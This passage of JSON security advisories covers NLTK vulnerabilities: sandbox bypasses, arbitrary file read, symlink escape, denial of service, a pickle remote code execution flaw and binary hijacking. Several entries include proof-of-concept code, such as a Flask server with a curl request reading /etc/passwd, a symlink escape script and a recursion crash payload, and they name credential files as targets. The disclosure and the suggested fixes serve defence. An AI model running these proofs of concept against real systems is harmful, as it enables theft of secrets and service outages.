w/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read","details":"## Summary\nSetting `nltk.pathsec.ENFORCE = True` is documented to sandbox all file access to allowed NLTK data directories and raise `PermissionError` on unauthorized access. However, `StreamBackedCorpusView` opens files via `builtins.open()` directly, bypassing `pathsec.validate_path()` entirely. An attacker who can influence the `fileid` argument can read arbitrary local files regardless of the `ENFORCE` setting.\n\n## Details\n`nltk/pathsec.py:274` defines the enforcement point:\n```python\ndef open(file, mode=\"r\", **kwargs):\n    validate_path(file, context=\"pathsec.open\")\n    return builtins.open(file, mode=mode, **kwargs)\n```\n\n`StreamBackedCorpusView._open()` in `nltk/corpus/reader/util.py` bypasses this entirely for string paths:\n\n```python\n# line 171 — no validate_path() call\nself._eofpos = os.stat(self._fileid).st_size\n\n# line 208 — calls builtins.open directly\nself._stream = open(self._fileid, \"rb\")\n```\n\nAlso affected: `XMLCorpusView` and any corpus reader subclass that passes a raw string `fileid` to `StreamBackedCorpusView`.\n\n## PoC\n```python\n# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass\nfrom flask import Flask, request, jsonify\nimport nltk.pathsec as ps\nfrom nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block\n\n# Strict mode enabled — expected to sandbox all file access\nps.ENFORCE = True\n\napp = Flask(__name__)\n\n@app.post(\"/read\")\ndef read_file():\n    fname = request.json.get(\"file\")\n    # fileid is user-controlled, passed directly to StreamBackedCorpusView\n    # pathsec.ENFORCE = True is ignored — builtins.open() called internally\n    view = StreamBackedCorpusView(fname, read_line_block, encoding=\"utf8\")\n    return jsonify({\"file\": fname, \"content\": view[0]})\n\napp.run(host=\"0.0.0.0\", port=8000)\n```\nTrigger:\n```\ncurl -s -X POST http://localhost:8000/read \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"file\": \"/etc/passwd\"}'\n```\nConfirmed on latest stable NLTK. No privileges required.\n\n## Impact\n- **Type:** Arbitrary Local File Read / Security Control Bypass\n- **CWE:** CWE-22, CWE-284\n- **OWASP:** A01:2021 – Broken Access Control\n\nAffects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the `fileid` passed to NLTK corpus readers. Sensitive targets include `/etc/passwd`, `/proc/self/environ` (may contain `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, etc.), and application config files.\n\nThe core issue is that operators who explicitly set `ENFORCE = True` to harden production deployments are left with a **false security guarantee**.\n\n**Suggested fix:** Replace `builtins.open()` and `os.stat()` in the string-path branch with `nltk.pathsec.open()` and `nltk.pathsec.validate_path()`.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63312"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3588"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/674ea75accdf08eca3782dee0a9c4ed7e0d0025b"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3730.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-65915","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3731","CVE-2026-65915","GHSA-72r2-7mfr-5xr9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: FileSystemPathPointer.open() sandbox check is dead code — arbitrary file read via file:// protocol","details":"### Summary\n\nThere's a logic bug in `FileSystemPathPointer.open()` inside `nltk/data.py`\nthat makes the sandbox check permanently inert. The guard condition is always\n`False` — meaning any file the process can read is accessible by passing a\n`file://` URL to `nltk.data.load()`.\n\n---\n\n### Details\n\nIn `nltk/data.py`, `FileSystemPathPointer.open()` was patched at some point\nwith a comment saying \"SECURITY PATCH ENFORCING SANDBOX\", but the check\ndoesn't work:\n```python\ndef open(self, encoding=None):\n    path = os.path.normpath(self._path)\n\n    # Block raw absolute reads such as \"/\" \"C:\\\\Windows\" etc.\n    if os.path.isabs(path) and path != os.path.normpath(self._path):\n        raise ValueError(f\"Direct absolute file access blocked: {path}\")\n\n    stream = open(self._path, \"rb\")\n```\n\n`path` is set to `os.path.normpath(self._path)` on line 1, then compared\nagainst `os.path.normpath(self._path)` again in the condition. They are\nalways equal. The `ValueError` never fires.\n\nOn top of that, `__init__` already calls `os.path.abspath()` before storing\n`self._path`, so it's normalized before `open()` is even called. Running\n`normpath` on it again changes nothing.\n\nThe `stream = open(self._path, \"rb\")` line is always reached regardless of\nwhat path was passed in.\n\n---\n\n### PoC\n\nTested on Python 3.11, NLTK 3.9.1, Ubuntu 22.04.\n```python\nimport nltk\nfrom nltk.data import FileSystemPathPointer\n\n# direct construction\nptr = FileSystemPathPointer(\"/etc/passwd\")\nwith ptr.open() as f:\n    print(f.read(300))\n\n# via load() using file:// URL\ndata = nltk.data.load(\"file:///etc/passwd\", format=\"raw\")\nprint(data[:300])\n```\n\nBoth print file contents. No exception is raised.\n\n---\n\n### Impact\n\nAny app that lets users influence the string passed to `nltk.data.load()` or\n`nltk.data.find()` is exposed — web APIs, notebook servers, multi-tenant\npipelines. An attacker can read any file the process user has access to:\n`/etc/passwd`, `.env` files, private keys, `~/.aws/credentials`, etc.\n\n## Suggested Fix\n\n**File:** `nltk/data.py` — `FileSystemPathPointer.open()` (lines 378–390)\n\n### What's wrong\n\nLine 387 compares `normpath(self._path)` against itself — always equal,\nso the `ValueError` never fires. The check is dead code.\n`__init__` already calls `abspath()` on construction, so re-running\n`normpath` inside `open()` changes nothing either.\n\n---\n\n### Fix\n\nValidate against the actual list of permitted data directories instead:\n```python\ndef open(self, encoding=None):\n    import nltk.data as _d\n    allowed = [os.path.abspath(p) for p in _d.path if p]\n    if allowed and not any(\n        os.path.commonpath([self._path, r]) == r for r in allowed\n    ):\n        raise ValueError(\n            f\"Access outside nltk_data blocked: {self._path!r}\"\n        )\n    stream = open(self._path, \"rb\")\n    if encoding is not None:\n        stream = SeekableUnicodeStreamReader(stream, encoding)\n    return stream\n```\n\n---\n\n### Why `commonpath` not `startswith`\n\n`startswith` is bypassable by a path that shares a prefix:\n```\n/tmp/nltk_data_evil\".startswith(\"/tmp/nltk_data\") → True  ✗\ncommonpath([\"/tmp/nltk_data_evil\", \"/tmp/nltk_data\"]) → \"/tmp\"  ✓\n```\n\n---\n\n### Diff\n```diff\n-    path = os.path.normpath(self._path)\n-    if os.path.isabs(path) and path != os.path.normpath(self._path):\n-        raise ValueError(f\"Direct absolute file access blocked: {path}\")\n-\n+    import nltk.data as _d\n+    allowed = [os.path.abspath(p) for p in _d.path if p]\n+    if allowed and not any(\n+        os.path.commonpath([self._path, r]) == r for r in allowed\n+    ):\n+        raise ValueError(f\"Access outside nltk_data blocked: {self._path!r}\")\n     stream = open(self._path, \"rb\")\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-72r2-7mfr-5xr9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65915"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3522"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/69db9911fdba914ceeaca7aec6e892d1b14586a9"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3731.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/a510de7b-ffaf-4a83-9bf8-fa7e63f4bd2d"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-arbitrary-file-read-via-filesystempathpointer"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-66393","published":"2026-08-23T20:29:34Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-rf74-v2fm-23pw","CVE-2026-66393","PYSEC-2026-3724"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS","details":"### Summary\n`JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself \nrecursively without any depth limit. A deeply nested JSON structure \nexceeding `sys.getrecursionlimit()` (default: 1000) will raise an \nunhandled `RecursionError`, crashing the Python process.\n\n### Affected code\nFile: `nltk/jsontags.py`, lines 47–52\n```python\n@classmethod\ndef decode_obj(cls, obj):\n    if isinstance(obj, dict):\n        obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}\n    elif isinstance(obj, list):\n        obj = list(cls.decode_obj(val) for val in obj)\n```\n\n### Proof of Concept\n```python\nimport sys, json\nfrom nltk.jsontags import JSONTaggedDecoder\n\ndepth = sys.getrecursionlimit() + 50  # e.g. 1050\npayload = '{\"x\":' * depth + \"null\" + \"}\" * depth\n\n# Raises RecursionError, crashing the process\njson.loads(payload, cls=JSONTaggedDecoder)\n```\n\n### Impact\nAny code path that passes externally-supplied JSON to \n`JSONTaggedDecoder` is vulnerable to denial of service.\nThe severity depends on whether such a path exists in the \ncalling code (e.g. `nltk/data.py`).\n\n### Suggested Fix\nAdd a depth parameter with a hard limit:\n```python\n@classmethod\ndef decode_obj(cls, obj, _depth=0):\n    if _depth > 100:\n        raise ValueError(\"JSON nesting too deep\")\n    if isinstance(obj, dict):\n        obj = {key: cls.decode_obj(val, _depth + 1) \n               for (key, val) in obj.items()}\n    elif isinstance(obj, list):\n        obj = list(cls.decode_obj(val, _depth + 1) for val in obj)\n```","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-rf74-v2fm-23pw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-66393"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/00cdcd392142e6c745e7120c8d50a24127df5fad"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3724.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-denial-of-service-via-jsontaggeddecoder"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-70626","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3732","CVE-2026-70626","GHSA-r6gq-whwq-mvg9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root","details":"### Summary\n`nltk.corpus.reader.api.CorpusReader.open()` can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and `..` traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on `CorpusReader` or `FileSystemPathPointer` to restrict file access.\n\n### Details\nThe vulnerable flow is:\n\n- [`nltk/corpus/reader/api.py:222`](/mnt/Data/my_brains/test/nltk/nltk/corpus/reader/api.py#L222)\n  - `CorpusReader.open()` blocks absolute paths and `..`, then calls `self._root.join(file).open()`\n\n- [`nltk/data.py:398`](/mnt/Data/my_brains/test/nltk/nltk/data.py#L398)\n  - `FileSystemPathPointer.join()` joins the requested file ID and checks whether the resulting path still appears to remain under the configured root\n\nThe problem is that the check is based on the lexical path after `os.path.normpath()`, not on the resolved path after following symlinks.\n\nCurrent behavior:\n\n1. `CorpusReader.open()` rejects:\n   - absolute paths\n   - `..` path traversal\n2. `FileSystemPathPointer.join()` computes:\n   - `joined = os.path.normpath(os.path.join(self._path, fileid))`\n   - `root = os.path.normpath(self._path)`\n3. It allows the access if `joined` starts with `root`\n\nThis misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.\n\nExample:\n\n```text\nJOINED=/tmp/nltk-root/link/secret.txt\nREALPATH=/tmp/outside/secret.txt\n```\n\n`JOINED` still appears to be inside the root, but `REALPATH` is outside it.\n\nThis is distinct from simple `../` traversal:\n\n- the file ID is not absolute\n- the file ID does not contain `..`\n- the escape only happens after filesystem resolution of a symlink under the allowed root\n\n### PoC\nReproduced in an isolated Docker sandbox using the local `nltk` clone.\n\nMinimal Python PoC:\n\n```python\nimport os\nimport tempfile\nfrom nltk.corpus.reader.api import CorpusReader\n\nroot = tempfile.mkdtemp(prefix=\"nltk-root-\")\noutside_dir = tempfile.mkdtemp(prefix=\"nltk-out-\")\noutside_file = os.path.join(outside_dir, \"secret.txt\")\n\nwith open(outside_file, \"w\") as f:\n    f.write(\"secret-data\")\n\nos.symlink(outside_dir, os.path.join(root, \"link\"))\n\ncorpus = CorpusReader(root, [\"link/secret.txt\"])\nwith corpus.open(\"link/secret.txt\") as f:\n    print(f.read())\n```\n\nObserved result:\n\n```text\nsecret-data\n```\n\nDocker re-test output:\n\n```text\nROOT=/tmp/nltk-root-jjxay3if\nOUTSIDE_DIR=/tmp/nltk-out-1kef36e0\nJOINED=/tmp/nltk-root-jjxay3if/link/secret.txt\nREALPATH=/tmp/nltk-out-1kef36e0/secret.txt\nREAD_OK=secret-data\nINSIDE_ROOT=True\nREAL_INSIDE_ROOT=False\n```\n\nAdditional impact validation using a system file:\n\n```text\nROOT=/tmp/nltk-root-_h5x4m19\nJOINED=/tmp/nltk-root-_h5x4m19/hostfile\nREALPATH=/etc/hostname\nHOSTNAME_READ=48dafb244af3\nINSIDE_ROOT=True\nREAL_INSIDE_ROOT=False\n```\n\nThis shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.\n\n### Impact\nThis is an arbitrary local file read / symlink escape issue.\n\nWho is impacted:\n\n- applications that accept attacker-controlled corpus directories, extracted datasets, or package contents\n- applications that rely on NLTK corpus readers as a trust boundary for file access\n- any deployment where an attacker can place or influence files inside the allowed corpus root\n\nPractical impact includes disclosure of:\n\n- application secrets stored on disk\n- local configuration files\n- private datasets\n- process-exposed files such as `/proc/self/environ`\n- system files readable by the running user\n\nThe issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-r6gq-whwq-mvg9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70626"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3522"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/1b0e519e2324bc1a273d56edee63e44d0ad85b48"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/3.9.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3732.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-symlink-escape-via-corpusreader"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-71513","published":"2026-09-03T08:45:00Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-5gh2-94qg-qppq","CVE-2026-71513","PYSEC-2026-3867"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0_4"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK AllowlistUnpickler dotted-name validation bypass allows remote code execution","details":"NLTK before 3.10.3 contains a remote code execution vulnerability in AllowlistUnpickler that validates only the pickle module string and not the global name, allowing attackers to resolve dotted names by attribute traversal to callables outside the allowlisted namespace. Attackers can craft untrusted transition-parser models that execute arbitrary commands when TransitionParser.parse loads the model through allowlisted_pickle_load.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71513"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/c3e37113742a1ebeeb4f2ca58941f320f98805ea"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/blob/v3.10.2/nltk/picklesec.py#L119-L124"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-through-remote-code-execution-via-allowlistunpickler-dotted-name-bypass"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-71514","published":"2026-09-03T08:45:00Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-cv22-g7mw-8v73","CVE-2026-71514","PYSEC-2026-3790"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0_3"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK CrubadanCorpusReader path traversal allows arbitrary file disclosure","details":"NLTK 3.9.4 through 3.10.2 contains a path traversal vulnerability in CrubadanCorpusReader. _load_lang_ngrams joins the corpus root with crubadan_code, the column-0 value read from the corpus table.txt mapping file, and opens the result with the builtin open() rather than the pathsec-validated opener, so os.path.join discards the root when that value is absolute and the read escapes the corpus directory without the containment check nltk.pathsec applies when ENFORCE is set. An attacker who controls a corpus package can disclose file contents outside the corpus root through lang_freq, limited to paths ending in -3grams.txt whose contents parse as token count lines.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71514"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/10d34b3f4fe3fec74b76527a409eb0acbac2e8ab"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/blob/v3.10.2/nltk/corpus/reader/crubadan.py#L90-L98"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-through-path-traversal-via-crubadancorpusreader-pathsec-bypass"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-72818","published":"2026-09-03T08:45:00Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-qx2g-xrx7-vfh8","CVE-2026-72818","PYSEC-2026-3870"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.1","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":" NLTK TweetTokenizer vulnerable to denial of service through catastrophic regex backtracking","details":"The URLS regular expression in nltk/tokenize/casual.py, compiled into TweetTokenizer.WORD_RE and applied by TweetTokenizer.tokenize, contains a naked-domain branch whose domain-label prefix [a-z0-9]+(?:[.\\-][a-z0-9]+)* is unbounded. Input consisting of many alternating label separators can be partitioned in exponentially many ways, and because the branch also requires a trailing top-level domain that such input never supplies, the engine explores those partitions before failing at each offset. A few kilobytes of input therefore consumes seconds to minutes of single-threaded CPU, and the HANG_RE substitution performed before matching does not collapse the pattern. TweetTokenizer is intended for tokenizing untrusted social-media text, so any service that applies it, or the module-level casual_tokenize, to submitted text can be stalled per request without authentication. Version 3.10.1 bounds the label repetition.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72818"},{"type":"WEB","url":"https://github.com/nltk/nltk/issues/3704"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3701"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/e092ed52eccae642304448bffc8d23cb301f85c1"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/blob/3.9.4/nltk/tokenize/casual.py"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.1"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-tweettokenizer-url-pattern-backtracks-catastrophically-on-naked-domain-like-input"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-78680","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-6hwm-xvph-95vm","CVE-2026-78680","PYSEC-2026-3868"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Uncontrolled search path when invoking the Graphviz 'dot' binary","details":"Two NLTK sites executed the Graphviz `dot` program by bare name, so process creation resolved it via the search path — and on Windows via the current working directory — rather than a validated absolute location. An attacker who can place a file named `dot` where resolution looks (the CWD on Windows, or a writable/relative entry such as `.` on `PATH`) has their binary executed in place of Graphviz (arbitrary code execution).\n\nAffected (<= 3.10.2):\n- `nltk.parse.dependencygraph.dot2img` — called `find_binary(\"dot\")` but discarded the returned validated path and then ran the bare name `[\"dot\", ...]`, so the validation had no effect.\n- `nltk.translate.api.AlignedSent._repr_svg_` — ran the bare name with no validation at all (IPython SVG rendering).\n\nThis is the same class already fixed for the senna, weka, boxer, malt, repp and hunpos wrappers. `nltk.internals.find_binary` refuses a CWD-relative match for a bare tool name and returns only a trusted absolute path; the fix runs that path in both sites.\n\n---\n\n## Attack demonstration\nCaptured output, not illustrative. A `./dot` that writes a `PWNED` marker, planted in the CWD with `.` prepended to `PATH`.\n\n**The vulnerable behaviour (old bare-name exec):**\n```\nControl (OLD behavior) — bare ['dot'] in this dir with '.' on PATH:\n  bare ['dot'] executed planted binary = True\n```\n\n**The patched functions refuse it:**\n```\nFIXED code, with ./dot planted and '.' on PATH:\n  dependencygraph.dot2img : Exception \"Cannot find the dot binary...\"  | planted-binary-executed=False  safe\n  AlignedSent._repr_svg_  : Exception \"Cannot find the dot binary...\"  | planted-binary-executed=False  safe\n```\n\n**And `find_binary` itself was attacked directly** (the fix trusts nothing else):\n```\nAttack 1: ./dot in CWD, no dot on PATH            -> LookupError (refused)  safe\nAttack 2: ./dot/dot (dir 'dot' holding 'dot')     -> LookupError (refused)  safe\nAttack 3: '.' on PATH + ./dot                     -> LookupError (refused)  safe\nAttack 4: attacker-writable ABSOLUTE dir on PATH  -> returned /…/evilbin/dot (absolute)\n```\nAttack 4 is out of scope: trusting an absolute directory that is already on `PATH` is the operating system's own trust model — an attacker who can write to a `PATH` directory owns the account regardless of NLTK. `find_binary` defends specifically against the CWD/relative injection that bare-name exec is vulnerable to (attacks 1–3), which is exactly what this fix inherits.\n\nEnvironment: python 3.13.7. `dot` is not required to reproduce — the planted binary is the payload.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-6hwm-xvph-95vm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78680"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/1a3cd1764ab3deb084fb66d0ffb4873717659538"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-arbitrary-code-execution-via-graphviz-dot-binary"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-78681","published":"2026-09-03T08:45:00Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3748","CVE-2026-78681","GHSA-97qj-x29f-37w7"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses","details":"Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `<!ENTITY>` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.\n\nAffected call sites (<= 3.10.2):\n- `nltk.chunk.named_entity.load_ace_file` — parses ACE annotation XML\n- 